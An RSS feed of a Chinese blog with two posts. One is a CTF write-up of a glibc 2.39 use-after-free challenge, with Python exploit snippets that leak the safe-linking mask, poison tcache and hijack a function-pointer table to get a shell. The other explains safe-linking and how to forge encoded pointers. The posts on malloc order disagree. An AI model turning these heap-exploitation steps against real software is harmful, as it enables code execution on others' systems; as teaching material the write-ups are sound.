<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Tcache on Megrez&#39;s Blog</title>
        <link>https://megrez1.xyz/tags/tcache/</link>
        <description>Recent content in Tcache on Megrez&#39;s Blog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-CN</language>
        <copyright>Megrez</copyright>
        <lastBuildDate>Mon, 19 Oct 2026 12:00:00 +0800</lastBuildDate><atom:link href="https://megrez1.xyz/tags/tcache/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>从悬垂指针到 getshell：一道 UAF 题的完整 tcache 投毒实战</title>
            <link>https://megrez1.xyz/post/uaf-tcache-poison/</link>
            <pubDate>Mon, 19 Oct 2026 12:00:00 +0800</pubDate>
            <guid>https://megrez1.xyz/post/uaf-tcache-poison/</guid>
            <description>&lt;h2 id=&#34;题目背景&#34;&gt;题目背景&#xA;&lt;/h2&gt;&lt;p&gt;一道面向 glibc 2.39 真实环境的 UAF 题：删除便签后指针未置空，留下悬垂指针，既可读（UAF read）也可写（UAF write）。目标是 tcache 投毒劫持&lt;strong&gt;全局&lt;/strong&gt;函数指针表 &lt;code&gt;ops[]&lt;/code&gt;。&lt;/p&gt;&#xA;&lt;p&gt;保护：No PIE、NX、Partial RELRO。&lt;/p&gt;&#xA;&lt;h2 id=&#34;六步利用链&#34;&gt;六步利用链&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;① delete(0)                     # 制造悬垂指针&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;② show(0) 读 next 字段          # 泄露 mask = chunk &amp;gt;&amp;gt; 12&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;③ delete(1); delete(2)          # 链上挂 3 个空闲 chunk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;④ edit(2) 写入 OPS ^ mask       # UAF 写投毒&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;⑤ add(); add()                  # 第二次 malloc 返回 &amp;amp;ops[]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;⑥ add() 写入 win 地址并触发     # ops[0] 被劫持 → system(&amp;#34;sh&amp;#34;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;关键代码&#34;&gt;关键代码&#xA;&lt;/h2&gt;&lt;p&gt;泄露掩码：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;delete(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mask &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; u64(show(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;])   &lt;span style=&#34;color:#75715e&#34;&gt;# next = (chunk&amp;gt;&amp;gt;12) ^ 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;投毒（注意目标必须 16 字节对齐，&lt;code&gt;ops&lt;/code&gt; 用 &lt;code&gt;__attribute__((aligned(16)))&lt;/code&gt; 保证）：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;delete(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;delete(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;edit(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, p64(OPS &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt; mask)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ljust(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;), &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;add(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;)                    &lt;span style=&#34;color:#75715e&#34;&gt;# 取走链头&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;add(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;, p64(WIN)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ljust(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)) &lt;span style=&#34;color:#75715e&#34;&gt;# 这块落在 &amp;amp;ops[]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最后触发 &lt;code&gt;ops[0](sh)&lt;/code&gt;，拿到 shell。&lt;/p&gt;&#xA;&lt;h2 id=&#34;与-hacknote-的对比&#34;&gt;与 hacknote 的对比&#xA;&lt;/h2&gt;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;hacknote（入门）&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;本题（进阶）&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;劫持对象&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;堆上结构体的函数指针&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;全局函数指针表&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;是否需要堆地址&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;否&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;是（safe-linking 编码）&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;核心技术&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;UAF 直接复用&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;UAF 读写 + tcache 投毒&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;给学习者的建议&#34;&gt;给学习者的建议&#xA;&lt;/h2&gt;&lt;p&gt;先用 gdb 的 &lt;code&gt;tcache&lt;/code&gt; 命令观察 free 前后链表变化，再手动复现&amp;quot;读 mask&amp;quot;这一步。投毒成功那一刻全局地址出现在 tcache entries 里，你会对整个机制有肌肉记忆级的理解。&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>glibc 2.39 tcache safe-linking 详解：编码、泄露与伪造</title>
            <link>https://megrez1.xyz/post/tcache-safe-linking/</link>
            <pubDate>Mon, 19 Oct 2026 11:00:00 +0800</pubDate>
            <guid>https://megrez1.xyz/post/tcache-safe-linking/</guid>
            <description>&lt;h2 id=&#34;为什么需要-safe-linking&#34;&gt;为什么需要 safe-linking&#xA;&lt;/h2&gt;&lt;p&gt;glibc 2.32 起，tcache 和 fastbin 的空闲链表指针不再明文存储，而是与 chunk 地址做异或编码。目的是让&amp;quot;只知道堆上内容、不知道堆地址&amp;quot;的攻击者无法直接伪造 fd/next 指针。&lt;/p&gt;&#xA;&lt;h2 id=&#34;编码公式&#34;&gt;编码公式&#xA;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;PROTECT_PTR&lt;/code&gt; 与 &lt;code&gt;REVEAL_PTR&lt;/code&gt; 的定义（glibc 源码 &lt;code&gt;malloc.c&lt;/code&gt;）：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define PROTECT_PTR(pos, ptr) \&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;    ((__typeof (ptr)) ((((size_t) pos) &amp;gt;&amp;gt; 12) ^ ((size_t) ptr)))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;也就是说，chunk 里存的 &lt;code&gt;next&lt;/code&gt; 字段实际是：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;存储值 = (本 chunk 的 user 区地址 &amp;gt;&amp;gt; 12) ^ 下一个 chunk 的地址&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;关键破绽链上只剩一个节点时&#34;&gt;关键破绽：链上只剩一个节点时&#xA;&lt;/h2&gt;&lt;p&gt;tcache 是单链表。当一个 bin 里只有一个空闲 chunk 时，它的 next 指向 NULL：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;存储值 = (chunk &amp;gt;&amp;gt; 12) ^ 0 = chunk &amp;gt;&amp;gt; 12&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一次 UAF 读就能拿到 &lt;code&gt;chunk &amp;gt;&amp;gt; 12&lt;/code&gt;。有了它，任何指向该 chunk 附近的伪造 next 都可以正确编码：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mask &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; u64(leaked_next)          &lt;span style=&#34;color:#75715e&#34;&gt;# = chunk_addr &amp;gt;&amp;gt; 12&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;poisoned &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p64(target &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt; mask)    &lt;span style=&#34;color:#75715e&#34;&gt;# 写回 next 字段&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;tcache-投毒的完整流程&#34;&gt;tcache 投毒的完整流程&#xA;&lt;/h2&gt;&lt;ol&gt;&#xA;&lt;li&gt;申请三个同 size 的 chunk A、B、C；&lt;/li&gt;&#xA;&lt;li&gt;依次 free，tcache 链变成 C -&amp;gt; B -&amp;gt; A；&lt;/li&gt;&#xA;&lt;li&gt;用 UAF 写改 C 的 next 为 &lt;code&gt;target ^ mask&lt;/code&gt;；&lt;/li&gt;&#xA;&lt;li&gt;连续 malloc 三次：拿到 C、B 之后，第三次返回 target。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;注意 glibc 2.29+ 的 tcache key 双重释放检查，以及 &lt;code&gt;tcache_get&lt;/code&gt; 里的对齐检查（&lt;code&gt;aligned_OK&lt;/code&gt;，目标地址需 16 字节对齐）——所以投毒目标一般选全局函数指针表这类天然对齐的地址。&lt;/p&gt;&#xA;&lt;h2 id=&#34;小结&#34;&gt;小结&#xA;&lt;/h2&gt;&lt;p&gt;safe-linking 提高了一点门槛，但没有改变本质：&lt;strong&gt;只要能泄露堆地址（哪怕只有 &amp;raquo;12 的部分），编码就形同虚设&lt;/strong&gt;。下一篇用一道完整的 UAF 题演示从泄露到 getshell 的全过程。&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
